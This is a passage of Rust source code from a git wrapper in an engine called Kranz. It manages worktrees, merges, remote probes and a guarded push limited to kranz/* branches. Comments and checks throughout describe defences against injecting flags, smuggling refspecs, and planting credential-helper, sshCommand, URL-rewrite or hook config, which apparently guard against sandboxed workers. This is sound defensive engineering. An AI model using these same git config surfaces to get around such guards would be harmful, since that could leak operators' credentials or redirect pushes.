1612 }
1613
1614 /// Whether `path` has a commit after the UTC `since_ymd` calendar day.
1615 ///
1616 /// Used by knowledge-refresh drift checks: a note whose `verified_against`
1617 /// path has history after `last_verified` is check-needed. Empty history
1618 /// (unknown path, or no commits in the window) is `false`, not an error.
1619 /// Flag-shaped/non-repository paths and invalid dates are refused before
1620 /// git runs. A non-zero `git log` is an error, never "unchanged".
1621 pub fn path_changed_since(&self, path: &str, since_ymd: &str) -> Result<bool> {
1622 let candidate = Path::new(path);
1623 if path.starts_with('-')
1624 || path.contains('\0')
1625 || path.is_empty()
1626 || candidate.components().any(|component| {
1627 matches!(
1628 component,
1629 std::path::Component::ParentDir
1630 | std::path::Component::RootDir
1631 | std::path::Component::Prefix(_)
1632 )
1633 })
1634 {
1635 return Err(EngineError::Git(format!(
1636 "refusing path_changed_since with non-repository path {path:?}"
1637 )));
1638 }
1639 let since_date =
1640 chrono::NaiveDate::parse_from_str(since_ymd, "%Y-%m-%d").map_err(|_| {
1641 EngineError::Git(format!(
1642 "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1643 ))
1644 })?;
1645 let normalized_since = since_date.format("%Y-%m-%d");
1646 if normalized_since.to_string() != since_ymd {
1647 return Err(EngineError::Git(format!(
1648 "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1649 )));
1650 }
1651 // Exclusive of the verification calendar day: `--since=YYYY-MM-DD`
1652 // includes that midnight, so a note verified the same day it was
1653 // committed would false-drift. End-of-day keeps date granularity.
1654 // Frontmatter dates are UTC calendar dates. Pin the offset so a note
1655 // checked near midnight cannot be current locally and drifted in CI.
1656 let since = format!("--since={normalized_since}T23:59:59Z");
1657 let out = self.probe(&["log", "-1", &since, "--format=%H", "--", path])?;
1658 if !out.status.success() {
1659 return Err(EngineError::Git(format!(
1660 "path_changed_since probe failed for {path:?}: {}",
1661 failure_detail(&out)
1662 )));
1663 }
1664 Ok(!String::from_utf8_lossy(&out.stdout).trim().is_empty())
1665 }
1666
1667 /// Create an annotated tag at `HEAD` (`git tag -a <name> -m <message>`).
1668 pub fn tag(&self, name: &str, message: &str) -> Result<()> {
1669 self.run(&["tag", "-a", name, "-m", message])?;
1670 Ok(())
1671 }
1672
1673 // -- worktrees (roadmap M3 parallel workers) ---------------------------
1674 //
1675 // Parallel-within-milestone execution runs each independent feature's
1676 // worker in its own git worktree checked out to a per-feature branch off
1677 // the milestone-start sha, then merges those branches back into the mission
1678 // branch in declared order. The worktrees share this repo's object store
1679 // but have their own working directories, so concurrent workers never step
1680 // on each other's files. All operations shell out with explicit arg vectors
1681 // and std::path, so they stay Windows-safe like the rest of GitRepo.
1682
1683 /// Create a new worktree at `path`, checked out to a NEW branch `branch`
1684 /// created at `from_sha` (`git worktree add -b <branch> <path> <from_sha>`).
1685 ///
1686 /// `path` may be absolute or relative to the repo root; git records the
1687 /// absolute path either way. The branch must not already exist (git's `-b`
1688 /// fails otherwise) — callers use a fresh per-feature branch name.
1689 pub fn add_worktree(&self, path: &Path, branch: &str, from_sha: &str) -> Result<()> {
1690 // Guard against a caller sneaking a flag through the branch/sha slots.
1691 for slot in [branch, from_sha] {
1692 if slot.starts_with('-') {
1693 return Err(EngineError::Git(format!(
1694 "refusing worktree add with flag-shaped argument {slot:?}"
1695 )));
1696 }
1697 }
1698 let args: Vec<OsString> = vec![
1699 "worktree".into(),
1700 "add".into(),
1701 "-b".into(),
1702 branch.into(),
1703 git_path_arg(path).into_os_string(),
1704 from_sha.into(),
1705 ];
1706 self.run_os(&args)?;
1707 Ok(())
1708 }
1709
1710 /// Create a new worktree at `path`, checked out to the EXISTING branch
1711 /// `branch` (`git worktree add <path> <branch>`, no `-b`).
1712 ///
1713 /// `path` may be absolute or relative to the repo root; git records the
1714 /// absolute path either way. `branch` must already exist and must NOT
1715 /// already be checked out in another worktree — git refuses to check the
1716 /// same branch out twice and that failure surfaces as [`EngineError::Git`].
1717 pub fn add_worktree_checkout(&self, path: &Path, branch: &str) -> Result<()> {
1718 // Guard against a caller sneaking a flag through the branch slot.
1719 if branch.starts_with('-') {
1720 return Err(EngineError::Git(format!(
1721 "refusing worktree add with flag-shaped argument {branch:?}"
1722 )));
1723 }
1724 let args: Vec<OsString> = vec![
1725 "worktree".into(),
1726 "add".into(),
1727 git_path_arg(path).into_os_string(),
1728 branch.into(),
1729 ];
1730 self.run_os(&args)?;
1731 Ok(())
1732 }
1733
1734 /// Create a detached worktree at `path` pinned to `commit`.
1735 ///
1736 /// Gated merge uses this to build and validate an integration commit
1737 /// without checking out either moving branch in the primary tree.
1738 pub fn add_detached_worktree(&self, path: &Path, commit: &str) -> Result<()> {
1739 if commit.starts_with('-') {
1740 return Err(EngineError::Git(format!(
1741 "refusing detached worktree add with flag-shaped commit {commit:?}"
1742 )));
1743 }
1744 let args: Vec<OsString> = vec![
1745 "worktree".into(),
1746 "add".into(),
1747 "--detach".into(),
1748 git_path_arg(path).into_os_string(),
1749 commit.into(),
1750 ];
1751 self.run_os(&args)?;
1752 Ok(())
1753 }
1754
1755 /// Remove a worktree at `path` (`git worktree remove --force <path>`),
1756 /// tolerating a worktree that is already gone.
1757 ///
1758 /// `--force` is used so a worktree with a dirty tree (a worker that left
1759 /// uncommitted changes, or a merge that has already consumed its commits)
1760 /// is still removed — leaked worktrees are the failure mode this guards
1761 /// against. When git reports the worktree is not registered / does not
1762 /// exist, that is treated as success (idempotent cleanup). Any OTHER git
1763 /// failure surfaces as [`EngineError::Git`].
1764 pub fn remove_worktree(&self, path: &Path) -> Result<()> {
1765 let args: Vec<OsString> = vec![
1766 "worktree".into(),
1767 "remove".into(),
1768 "--force".into(),
1769 git_path_arg(path).into_os_string(),
1770 ];
1771 let out = self.probe_os(&args)?;
1772 if out.status.success() {
1773 return Ok(());
1774 }
1775 // Already-gone worktrees are fine: git says "is not a working tree" or
1776 // "No such file or directory" / "not a valid path". Match leniently on
1777 // the combined output so cleanup is idempotent across git versions.
1778 let detail = failure_detail(&out).to_lowercase();
1779 let already_gone = detail.contains("is not a working tree")
1780 || detail.contains("not a working tree")
1781 || detail.contains("no such file")
1782 || detail.contains("is not a valid path")
1783 || detail.contains("not a valid path");
1784 if already_gone {
1785 Ok(())
1786 } else {
1787 Err(EngineError::Git(format!(
1788 "git worktree remove {} failed ({}): {}",
1789 path.display(),
1790 out.status,
1791 failure_detail(&out)
1792 )))
1793 }
1794 }
1795
1796 /// Merge `branch` into the current branch with an explicit merge commit
1797 /// (`git merge --no-ff --no-edit <branch>`), reporting clean vs conflict.
1798 ///
1799 /// A clean merge returns [`MergeOutcome::Clean`] with the merge commit on
1800 /// the current branch. On conflict the merge is rolled back with
1801 /// `git merge --abort` (so the working tree is left CLEAN — the porcelain
1802 /// status is empty afterwards) and [`MergeOutcome::Conflict`] is returned,
1803 /// carrying the conflicting paths git named. When git refuses the merge
1804 /// before it ever starts (no `MERGE_HEAD`, e.g. an untracked file in the
1805 /// way) [`MergeOutcome::RefusedPreMerge`] is returned instead, carrying
1806 /// git's verbatim refusal — no abort is attempted, since there is nothing
1807 /// to abort. Only a genuine git failure (git could not be spawned, or the
1808 /// abort itself failed on a real conflict) is an `Err`.
1809 pub fn merge_no_ff(&self, branch: &str) -> Result<MergeOutcome> {
1810 self.merge_no_ff_with_message(branch, None)
1811 }
1812
1813 /// Like [`Self::merge_no_ff`] but supplies an explicit merge commit
1814 /// message, used for kranz-authored trailer metadata.
1815 pub fn merge_no_ff_with_message(
1816 &self,
1817 branch: &str,
1818 message: Option<&str>,
1819 ) -> Result<MergeOutcome> {
1820 if branch.starts_with('-') {
1821 return Err(EngineError::Git(format!(
1822 "refusing to merge flag-shaped ref {branch:?}"
1823 )));
1824 }
1825 let out = match message {
1826 Some(message) => self.probe(&["merge", "--no-ff", "-m", message, branch])?,
1827 None => self.probe(&["merge", "--no-ff", "--no-edit", branch])?,
1828 };
1829 if out.status.success() {
1830 return Ok(MergeOutcome::Clean);
1831 }
1832 // Distinguish a genuine content conflict (MERGE_HEAD exists — a merge
1833 // is actually in progress) from a pre-merge refusal (e.g. an
1834 // untracked file the merge would overwrite), which never creates
1835 // MERGE_HEAD and so has nothing for `git merge --abort` to roll back.
1836 let merge_in_progress = self
1837 .probe(&["rev-parse", "-q", "--verify", "MERGE_HEAD"])?
1838 .status
1839 .success();
1840 if !merge_in_progress {
1841 return Ok(MergeOutcome::RefusedPreMerge {
1842 detail: failure_detail(&out),
1843 });
1844 }
1845 // A conflicting merge leaves the tree mid-merge; collect the unmerged
1846 // paths (best-effort) BEFORE aborting, then abort to restore a clean
1847 // tree so the caller never inherits a half-merged working directory.
1848 let files = self.unmerged_paths().unwrap_or_default();
1849 // `git merge --abort` must succeed to honour the clean-tree contract;
1850 // a failure here is a real error (the tree is left mid-merge).
1851 self.run(&["merge", "--abort"]).map_err(|e| {
1852 EngineError::Git(format!(
1853 "merge of {branch:?} conflicted and `git merge --abort` also failed: {e}"
1854 ))
1855 })?;
1856 Ok(MergeOutcome::Conflict { files })
1857 }
1858
1859 /// Move the current branch to an already-created descendant commit with
1860 /// `git merge --ff-only`. Gated merge uses this after validating the exact
1861 /// integration commit in a scratch worktree.
1862 pub fn fast_forward_to(&self, commit: &str) -> Result<MergeOutcome> {
1863 if commit.starts_with('-') {
1864 return Err(EngineError::Git(format!(
1865 "refusing fast-forward to flag-shaped commit {commit:?}"
1866 )));
1867 }
1868 let out = self.probe(&["merge", "--ff-only", commit])?;
1869 if out.status.success() {
1870 Ok(MergeOutcome::Clean)
1871 } else {
1872 Ok(MergeOutcome::RefusedPreMerge {
1873 detail: failure_detail(&out),
1874 })
1875 }
1876 }
1877
1878 /// Bytes of `path` as it exists on `branch` (`git show <branch>:<path>`),
1879 /// or `None` when the path does not exist on that branch. Used to compare
1880 /// an untracked working-tree file byte-for-byte against the version a
1881 /// merge would bring in, so it can be safely removed when identical.
1882 pub fn show_file(&self, branch: &str, path: &str) -> Result<Option<Vec<u8>>> {
1883 if branch.starts_with('-') {
1884 return Err(EngineError::Git(format!(
1885 "refusing show_file with flag-shaped ref {branch:?}"
1886 )));
1887 }
1888 let spec = format!("{branch}:{path}");
1889 let out = self.probe(&["show", &spec])?;
1890 if out.status.success() {
1891 Ok(Some(out.stdout))
1892 } else {
1893 let detail = failure_detail(&out).to_lowercase();
1894 if detail.contains("does not exist") || detail.contains("exists on disk, but not") {
1895 Ok(None)
1896 } else {
1897 Err(EngineError::Git(format!(
1898 "git show {spec} failed ({}): {}",
1899 out.status,
1900 failure_detail(&out)
1901 )))
1902 }
1903 }
1904 }
1905
1906 /// Whether `path` is tracked in the index (`git ls-files --error-unmatch
1907 /// -- <path>`): exit 0 ⇒ tracked; exit 1 ⇒ untracked/absent (NOT an
1908 /// error); any other status is a real git failure. The Flight Rules
1909 /// trust boundary (KRZ-341, D-A/D-J) uses this to decide whether a pack
1910 /// may activate ENFORCED rules: only tracked, repo-relative pack bytes
1911 /// have provable base history.
1912 pub fn is_tracked(&self, path: &str) -> Result<bool> {
1913 if path.starts_with('-') {
1914 return Err(EngineError::Git(format!(
1915 "refusing is_tracked with flag-shaped path {path:?}"
1916 )));
1917 }
1918 let out = self.probe(&["ls-files", "--error-unmatch", "--", path])?;
1919 match out.status.code() {
1920 Some(0) => Ok(true),
1921 Some(1) => Ok(false),
1922 _ => Err(EngineError::Git(format!(
1923 "git ls-files --error-unmatch -- {path} failed ({}): {}",
1924 out.status,
1925 failure_detail(&out)
1926 ))),
1927 }
1928 }
1929
1930 /// Recursive `git ls-tree -r -l <refname> -- <prefix>`: every entry under
1931 /// `prefix` at `refname` with its git mode, object kind, and blob size.
1932 /// The Flight Rules loader (KRZ-341) reads a standards corpus from a
1933 /// PINNED base tree through this — never from the worktree — so a mission
1934 /// branch edit cannot reshape the policy judging it. A flag-shaped ref
1935 /// or prefix is refused before invoking git (mirroring [`Self::show_file`]).
1936 pub fn ls_tree_recursive(&self, refname: &str, prefix: &str) -> Result<Vec<TreeEntry>> {
1937 for slot in [refname, prefix] {
1938 if slot.starts_with('-') {
1939 return Err(EngineError::Git(format!(
1940 "refusing ls-tree with flag-shaped argument {slot:?}"
1941 )));
1942 }
1943 }
1944 let out = self.probe(&["ls-tree", "-r", "-l", refname, "--", prefix])?;
1945 if !out.status.success() {
1946 return Err(EngineError::Git(format!(
1947 "git ls-tree -r -l {refname} -- {prefix} failed ({}): {}",
1948 out.status,
1949 failure_detail(&out)
1950 )));
1951 }
1952 let stdout = String::from_utf8_lossy(&out.stdout);
1953 let mut entries = Vec::new();
1954 for line in stdout.lines() {
1955 let line = line.trim_end_matches('\r');
1956 if line.is_empty() {
1957 continue;
1958 }
1959 // `<mode> SP <type> SP <oid> SP <size> TAB <path>`; size is `-`
1960 // for non-blobs. A path git had to C-quote (control/non-ASCII
1961 // bytes) keeps its leading `"` here so the consumer fails closed
1962 // instead of misreading an unquoted rendering.
1963 let Some((meta, path)) = line.split_once('\t') else {
1964 return Err(EngineError::Git(format!(
1965 "git ls-tree emitted an unparseable line: {line:?}"
1966 )));
1967 };
1968 let fields: Vec<&str> = meta.split_whitespace().collect();
1969 let [mode, kind, _oid, size] = fields.as_slice() else {
1970 return Err(EngineError::Git(format!(
1971 "git ls-tree emitted an unparseable line: {line:?}"
1972 )));
1973 };
1974 let size = match *size {
1975 "-" => None,
1976 digits => Some(digits.parse::<u64>().map_err(|_| {
1977 EngineError::Git(format!("git ls-tree emitted a bad size in line: {line:?}"))
1978 })?),
1979 };
1980 entries.push(TreeEntry {
1981 mode: (*mode).to_string(),
1982 kind: (*kind).to_string(),
1983 size,
1984 path: path.to_string(),
1985 });
1986 }
1987 Ok(entries)
1988 }
1989
1990 /// Whether `path` is currently untracked in the working tree
1991 /// (`git status --porcelain -- <path>` reports a `??` entry). `false`
1992 /// when the path is tracked, ignored-and-absent, or simply not present.
1993 pub fn is_untracked(&self, path: &str) -> Result<bool> {
1994 let out = self.run(&["status", "--porcelain", "--", path])?;
1995 Ok(out.lines().any(|l| l.starts_with("??")))
1996 }
1997
1998 /// Paths with unmerged (conflicted) entries in the index
1999 /// (`git diff --name-only --diff-filter=U`). Empty when there are none.
2000 fn unmerged_paths(&self) -> Result<Vec<String>> {
2001 let out = self.run(&["diff", "--name-only", "--diff-filter=U"])?;
2002 Ok(out
2003 .lines()
2004 .map(|l| l.trim_end_matches('\r').trim())
2005 .filter(|l| !l.is_empty())
2006 .map(str::to_string)
2007 .collect())
2008 }
2009
2010 /// Absolute paths of every registered worktree (`git worktree list`),
2011 /// including the primary working tree. Used by cleanup to detect leaks.
2012 pub fn list_worktrees(&self) -> Result<Vec<String>> {
2013 // `--porcelain` emits `worktree <abs-path>` lines (plus HEAD/branch
2014 // detail we ignore); parse just the paths for a stable, quoting-free
2015 // listing across git versions.
2016 let out = self.run(&["worktree", "list", "--porcelain"])?;
2017 let mut paths = Vec::new();
2018 for line in out.lines() {
2019 let line = line.trim_end_matches('\r');
2020 if let Some(rest) = line.strip_prefix("worktree ") {
2021 paths.push(rest.trim().to_string());
2022 }
2023 }
2024 Ok(paths)
2025 }
2026
2027 /// Prune administrative records of worktrees whose directories are gone
2028 /// (`git worktree prune`). Safe to call unconditionally after cleanup.
2029 pub fn prune_worktrees(&self) -> Result<()> {
2030 self.run(&["worktree", "prune"])?;
2031 Ok(())
2032 }
2033
2034 /// Delete a local branch, force (`git branch -D <name>`), tolerating a
2035 /// branch that is already gone. Used to tidy per-feature worktree branches
2036 /// after their worktrees are removed (roadmap M3 cleanup).
2037 pub fn delete_branch_force(&self, name: &str) -> Result<()> {
2038 if name.starts_with('-') {
2039 return Err(EngineError::Git(format!(
2040 "refusing to delete flag-shaped branch {name:?}"
2041 )));
2042 }
2043 let out = self.probe(&["branch", "-D", name])?;
2044 if out.status.success() {
2045 return Ok(());
2046 }
2047 let detail = failure_detail(&out).to_lowercase();
2048 if detail.contains("not found") || detail.contains("no branch") {
2049 Ok(())
2050 } else {
2051 Err(EngineError::Git(format!(
2052 "git branch -D {name} failed ({}): {}",
2053 out.status,
2054 failure_detail(&out)
2055 )))
2056 }
2057 }
2058
2059 /// URL of remote `name` (`git remote get-url`), or `Ok(None)` when absent.
2060 pub fn remote_url(&self, name: &str) -> Result<Option<String>> {
2061 if name.starts_with('-') || name.chars().any(char::is_whitespace) {
2062 return Err(EngineError::Git(format!(
2063 "refusing remote_url of malformed remote {name:?}"
2064 )));
2065 }
2066 let out = self.probe(&["remote", "get-url", name])?;
2067 if !out.status.success() {
2068 return Ok(None);
2069 }
2070 let url = String::from_utf8_lossy(&out.stdout).trim().to_string();
2071 if url.is_empty() {
2072 Ok(None)
2073 } else {
2074 Ok(Some(url))
2075 }
2076 }
2077
2078 /// Whether `remote` advertises branch `branch` (`git ls-remote --heads`).
2079 /// Read-only network probe — never updates local refs.
2080 pub fn remote_has_branch(&self, remote: &str, branch: &str) -> Result<bool> {
2081 for slot in [remote, branch] {
2082 if slot.starts_with('-') || slot.contains(':') || slot.chars().any(char::is_whitespace)
2083 {
2084 return Err(EngineError::Git(format!(
2085 "refusing remote_has_branch with malformed ref {slot:?}"
2086 )));
2087 }
2088 }
2089 // Network mode: the operator's ~/.gitconfig stays in force (an
2090 // ls-remote against an https host needs the same credential helper a
2091 // push does) and this repo's own config is pre-flighted first.
2092 let out = self.probe_network(&["ls-remote", "--heads", remote, branch])?;
2093 if !out.status.success() {
2094 return Err(EngineError::Git(format!(
2095 "git ls-remote --heads {remote} {branch} failed ({}): {}",
2096 out.status,
2097 failure_detail(&out)
2098 )));
2099 }
2100 let stdout = String::from_utf8_lossy(&out.stdout);
2101 let needle = format!("refs/heads/{branch}");
2102 Ok(stdout.lines().any(|line| line.contains(&needle)))
2103 }
2104
2105 /// Whether a remote named `name` is configured (`git remote get-url`).
2106 ///
2107 /// A probe, not an assertion: returns `Ok(false)` when the remote is
2108 /// absent and only errors when git itself cannot be spawned. Callers use
2109 /// this to decide whether a cloud mission has anywhere to push to before
2110 /// calling [`GitRepo::push_mission_branch`].
2111 pub fn has_remote(&self, name: &str) -> Result<bool> {
2112 Ok(self.remote_url(name)?.is_some())
2113 }
2114
2115 /// Push a single `kranz/*` mission ref to `remote` — **the one and only
2116 /// push path in Kranz, and it is cloud-opt-in.**
2117 ///
2118 /// ## Local default: Kranz never pushes (plan §4.4)
2119 ///
2120 /// Git is the source of truth, but on a local host Kranz writes only to the
2121 /// working tree and local refs — it never contacts a remote. No mission
2122 /// loop or server route calls this method. The sole caller is the explicit
2123 /// `kranz exec --push <REMOTE>` M6 cloud handoff; nothing about the local
2124 /// default changes unless a human or cloud job supplies that flag.
2125 ///
2126 /// ## Guard rails (why this is safe to expose)
2127 ///
2128 /// - The branch **must** begin with `kranz/` — mission branches are
2129 /// `kranz/mission-<id>` and mission tags live under `kranz/<id>/…`.
2130 /// Anything else (`main`, `master`, `HEAD`, a bare sha, `--force`, or a
2131 /// refspec smuggling a second ref) is rejected with
2132 /// [`EngineError::Git`] **before any git process runs** — no network.
2133 /// - `remote` must be an already-configured, non-flag-shaped remote name.
2134 /// The push is a plain `git push <remote> <branch>`: never `--force`,
2135 /// `--mirror`, a custom receive-pack, a `src:dst` refspec, `main`, or a
2136 /// merge. The human still reviews the `kranz/*` branch and opens the PR.
2137 /// - On failure git's stderr is surfaced verbatim via [`EngineError::Git`],
2138 /// so a bad deploy key or a rejected non-fast-forward shows up in the
2139 /// mission log with git's own words.
2140 ///
2141 /// The deploy key / GitHub App backing `remote` should itself be scoped to
2142 /// `kranz/*` refs (see docs/deploy.md); this guard is defence in depth, not
2143 /// the only line of defence.
2144 pub fn push_mission_branch(&self, remote: &str, branch: &str) -> Result<()> {
2145 // `remote` occupies an option-parsed argv slot before `branch`; a
2146 // flag-shaped value could otherwise turn this method's supposedly
2147 // plain push into `--force`, `--mirror`, or a custom receive-pack.
2148 // Cloud handoff accepts configured remote NAMES only, never an
2149 // arbitrary URL or path supplied at the CLI boundary.
2150 if remote.is_empty()
2151 || remote.starts_with('-')
2152 || remote.contains(':')
2153 || remote.chars().any(char::is_whitespace)
2154 {
2155 return Err(EngineError::Git(format!(
2156 "refusing to push to malformed remote {remote:?}: --push accepts a plain configured remote name"
2157 )));
2158 }
2159 // Defence in depth: refuse anything that is not a mission ref *before*
2160 // spawning git, so a mis-wired caller can never push main or a merge.
2161 // `kranz/` (with the slash) is required so a branch literally named
2162 // "kranz" or "kranzfoo" cannot slip through.
2163 if !branch.starts_with("kranz/") {
2164 return Err(EngineError::Git(format!(
2165 "refusing to push non-kranz ref {branch:?}: push_mission_branch \
2166 only pushes kranz/* mission refs, never main or merges"
2167 )));
2168 }
2169 // Reject characters that could turn a single branch name into extra
2170 // arguments or a src:dst refspec. A legitimate mission ref never
2171 // contains whitespace, a colon, or a leading dash.
2172 if branch.contains(':')
2173 || branch.starts_with('-')
2174 || branch.chars().any(char::is_whitespace)
2175 {
2176 return Err(EngineError::Git(format!(
2177 "refusing to push malformed ref {branch:?}: a mission branch is \
2178 a plain kranz/* name with no refspec, flags, or whitespace"
2179 )));
2180 }
2181 // Report every armed network key before the remote lookup's narrower
2182 // local-execution guard runs. run_network rechecks before transport.
2183 self.refuse_network_on_armed_local_config()?;
2184 if self.remote_url(remote)?.is_none() {
2185 return Err(EngineError::Git(format!(
2186 "refusing to push to unconfigured remote {remote:?}: add and review the remote before cloud handoff"
2187 )));
2188 }
2189 // Plain push to one already-configured remote of one local branch to
2190 // the same-named remote branch.
2191 // Never --force; never a refspec; never main.
2192 //
2193 // Network mode ([`Self::run_network`]): the tree being pushed is the
2194 // one the worker just wrote, so this refuses outright if the
2195 // repository's own config carries a credential helper, an ssh
2196 // command, a URL rewrite or a transport hook — while leaving the
2197 // operator's `~/.gitconfig` in force, which is what makes an https
2198 // push find a credential at all.
2199 self.run_network(&["push", remote, branch])?;
2200 Ok(())
2201 }
2202
2203 /// Guarantee commits can be made: PIN `user.name` / `user.email` into the
2204 /// repo's LOCAL config when they are not already set there — to whatever
2205 /// the operator's config resolves them to, falling back to
2206 /// `kranz <kranz@localhost>` when nothing resolves at all. A local
2207 /// identity is never overwritten, and missions never fail on hosts
2208 /// without a global git identity.
2209 ///
2210 /// Pinning into local scope (rather than only writing the fallback pair
2211 /// when nothing resolved) is what keeps commit authorship unchanged now
2212 /// that hardened invocations no longer read the operator's `~/.gitconfig`
2213 /// (audit H3 hardening, [`UserConfig::Ignored`]): without it, every
2214 /// engine commit on a host whose identity lives only in the global file
2215 /// would silently be restamped `kranz <kranz@localhost>`.
2216 pub fn ensure_identity(&self) -> Result<()> {
2217 for (key, fallback) in [("user.name", "kranz"), ("user.email", "kranz@localhost")] {
2218 let local = self.probe(&["config", "--local", "--get", key])?;
2219 let set_locally =
2220 local.status.success() && !String::from_utf8_lossy(&local.stdout).trim().is_empty();
2221 if set_locally {
2222 continue;
2223 }
2224 let resolved = self.probe_with_user_config(&["config", "--get", key])?;
2225 let value = String::from_utf8_lossy(&resolved.stdout).trim().to_string();
2226 let value = if resolved.status.success() && !value.is_empty() {
2227 value
2228 } else {
2229 fallback.to_string()
2230 };
2231 // `git config <key> <value>` writes to the local repo config.
2232 self.run(&["config", key, &value])?;
2233 }
2234 Ok(())
2235 }
2236
2237 /// The git identity this repo resolves to right now: `(user.name,
2238 /// user.email)` from any config scope (local/global/system) visible to
2239 /// the calling process's environment, falling back to the same
2240 /// `kranz`/`kranz@localhost` pair [`Self::ensure_identity`] would write when
2241 /// neither key resolves.
2242 ///
2243 /// Used to carry the *engine's* resolved identity into a worker session
2244 /// whose relocated `HOME` can no longer see the operator's global
2245 /// `~/.gitconfig` (see `GIT_AUTHOR_NAME` etc. injection in
2246 /// `runner::seed_worker_env`).
2247 pub fn resolved_identity(&self) -> Result<(String, String)> {
2248 let resolve = |key: &str, fallback: &str| -> Result<String> {
2249 let probe = self.probe_with_user_config(&["config", "--get", key])?;
2250 let value = String::from_utf8_lossy(&probe.stdout).trim().to_string();
2251 if probe.status.success() && !value.is_empty() {
2252 Ok(value)
2253 } else {
2254 Ok(fallback.to_string())
2255 }
2256 };
2257 let name = resolve("user.name", "kranz")?;
2258 let email = resolve("user.email", "kranz@localhost")?;
2259 Ok((name, email))
2260 }
2261
2262 // -- plumbing ----------------------------------------------------------
2263
2264 /// Run git and return the raw `Output` without checking the exit status
2265 /// (for existence/is-set probes). Errors only when git cannot be spawned.
2266 fn probe(&self, args: &[&str]) -> Result<Output> {
2267 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2268 self.probe_os(&os)
2269 }
2270
2271 fn probe_os(&self, args: &[OsString]) -> Result<Output> {
2272 self.spawn_git(args, UserConfig::Ignored, ExecFlags::All)
2273 }
2274
2275 /// [`Self::probe`] for the two identity reads that MUST still see the
2276 /// operator's `~/.gitconfig` (see [`UserConfig::Visible`]).
2277 fn probe_with_user_config(&self, args: &[&str]) -> Result<Output> {
2278 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2279 self.spawn_git(&os, UserConfig::Visible, ExecFlags::All)
2280 }
2281
2282 /// Run a git operation that CONTACTS A REMOTE, demanding success.
2283 ///
2284 /// Two things differ from [`Self::run`], and they are the same decision
2285 /// seen from two sides (audit 2026-09-01 F-11): the operator's
2286 /// `~/.gitconfig` stays in force (without it an https push has no
2287 /// credential source and an `insteadOf` convention silently sends the
2288 /// push to the un-rewritten URL), and the repository's own config — the
2289 /// scope a worker can write — is pre-flighted first and the operation
2290 /// refused if it carries anything that names a program, a credential, or
2291 /// a URL rewrite.
2292 fn run_network(&self, args: &[&str]) -> Result<String> {
2293 self.refuse_network_on_armed_local_config()?;
2294 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2295 let out = self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)?;
2296 check_status(&os, out)
2297 }
2298
2299 /// [`Self::run_network`] without the success demand, for network probes.
2300 fn probe_network(&self, args: &[&str]) -> Result<Output> {
2301 self.refuse_network_on_armed_local_config()?;
2302 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2303 self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)
2304 }
2305
2306 fn spawn_git(
2307 &self,
2308 args: &[OsString],
2309 user_config: UserConfig,
2310 exec_flags: ExecFlags,
2311 ) -> Result<Output> {
2312 let mut cmd = Command::new("git");
2313 if let Some(flags) = &self.exec_disable_flags {
2314 if user_config == UserConfig::Ignored
2315 && exec_flags != ExecFlags::None
2316 && !args.first().is_some_and(|arg| arg == "config")
2317 {
2318 self.refuse_new_exec_configuration(flags)?;
2319 }
2320 if user_config != UserConfig::KeptForNetwork {
2321 clear_local_git_env(&mut cmd, user_config);
2322 }
2323 // `-c` must precede the subcommand; the segment neutralizes every
2324 // executable config surface this handle promises to cover (see
2325 // with_hooks_disabled / build_exec_disable_flags).
2326 cmd.args(exec_flags.select(flags));
2327 // `-c` overrides only the keys it names. `GIT_CONFIG_PARAMETERS`
2328 // and a `GIT_CONFIG_COUNT` triple inherited from the engine's own
2329 // environment would inject further config UNDER those overrides,
2330 // so they are cleared on every hardened invocation regardless of
2331 // scope (the idiom `contract_lint::lint_env` uses from the other
2332 // side).
2333 cmd.env_remove("GIT_CONFIG_PARAMETERS");
2334 cmd.env_remove("GIT_CONFIG_COUNT");
2335 for (key, value) in hardened_config_env(user_config)? {
2336 cmd.env(key, value);
2337 }
2338 }
2339 if self.exec_disable_flags.is_some() && args.first().is_some_and(|arg| arg == "diff") {
2340 cmd.args(["diff", "--no-ext-diff", "--no-textconv"])
2341 .args(&args[1..]);
2342 } else {
2343 cmd.args(args);
2344 }
2345 cmd.current_dir(&self.root).stdin(Stdio::null());
2346 process::output(
2347 cmd,
2348 process::Limits::for_command(args, user_config == UserConfig::KeptForNetwork),
2349 )
2350 .map_err(|e| EngineError::Git(format!("failed to invoke git {}: {e}", render_args(args))))
2351 }
2352
2353 /// Run git, demanding success; returns raw stdout (callers trim as needed).
2354 fn run(&self, args: &[&str]) -> Result<String> {
2355 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2356 self.run_os(&os)
2357 }
2358
2359 fn run_os(&self, args: &[OsString]) -> Result<String> {
2360 let out = self.probe_os(args)?;
2361 check_status(args, out)
2362 }
2363}
2364
2365/// Which entries of a hardened handle's `-c` segment one invocation carries.
2366#[derive(Debug, Clone, Copy, PartialEq, Eq)]
2367enum ExecFlags {
2368 /// The whole segment. Every local operation.
2369 All,
2370 /// The segment minus the entries that break a REAL remote: an empty
2371 /// `core.sshCommand` makes git exec the empty string instead of falling
2372 /// back to `ssh` (probed 2026-09-02), and an empty `credential.helper`
2373 /// resets away the operator's own helper. The surface those two cover in
2374 /// the repo scope is closed by
2375 /// [`GitRepo::refuse_network_on_armed_local_config`] instead.
2376 NetworkSafe,
2377 /// The segment minus `core.fsmonitor=`, for the two index-flag
2378 /// detections (see [`GitRepo::run_seeing_fsmonitor`]).
2379 SeeingFsmonitor,
2380 /// No `-c` entries at all — the config read that decides whether a
2381 /// network operation may run, which must observe the REPOSITORY's config
2382 /// rather than the overrides this handle is about to apply.
2383 None,
2384}
2385
2386/// `-c` entry that resets git's credential-helper list (an empty helper is
2387/// git's documented reset, and the command-line scope is read last).
2388const CREDENTIAL_HELPER_RESET: &str = "credential.helper=";
2389/// `-c` entry that blanks a planted `core.sshCommand`.
2390const SSH_COMMAND_OVERRIDE: &str = "core.sshCommand=";
2391
2392impl ExecFlags {
2393 /// The `-c key=value` pairs this mode keeps out of `flags` (which is
2394 /// always a flat `["-c", kv, "-c", kv, ...]`).
2395 fn select(self, flags: &[String]) -> Vec<String> {
2396 let drop = |kv: &str| match self {
2397 ExecFlags::All => false,
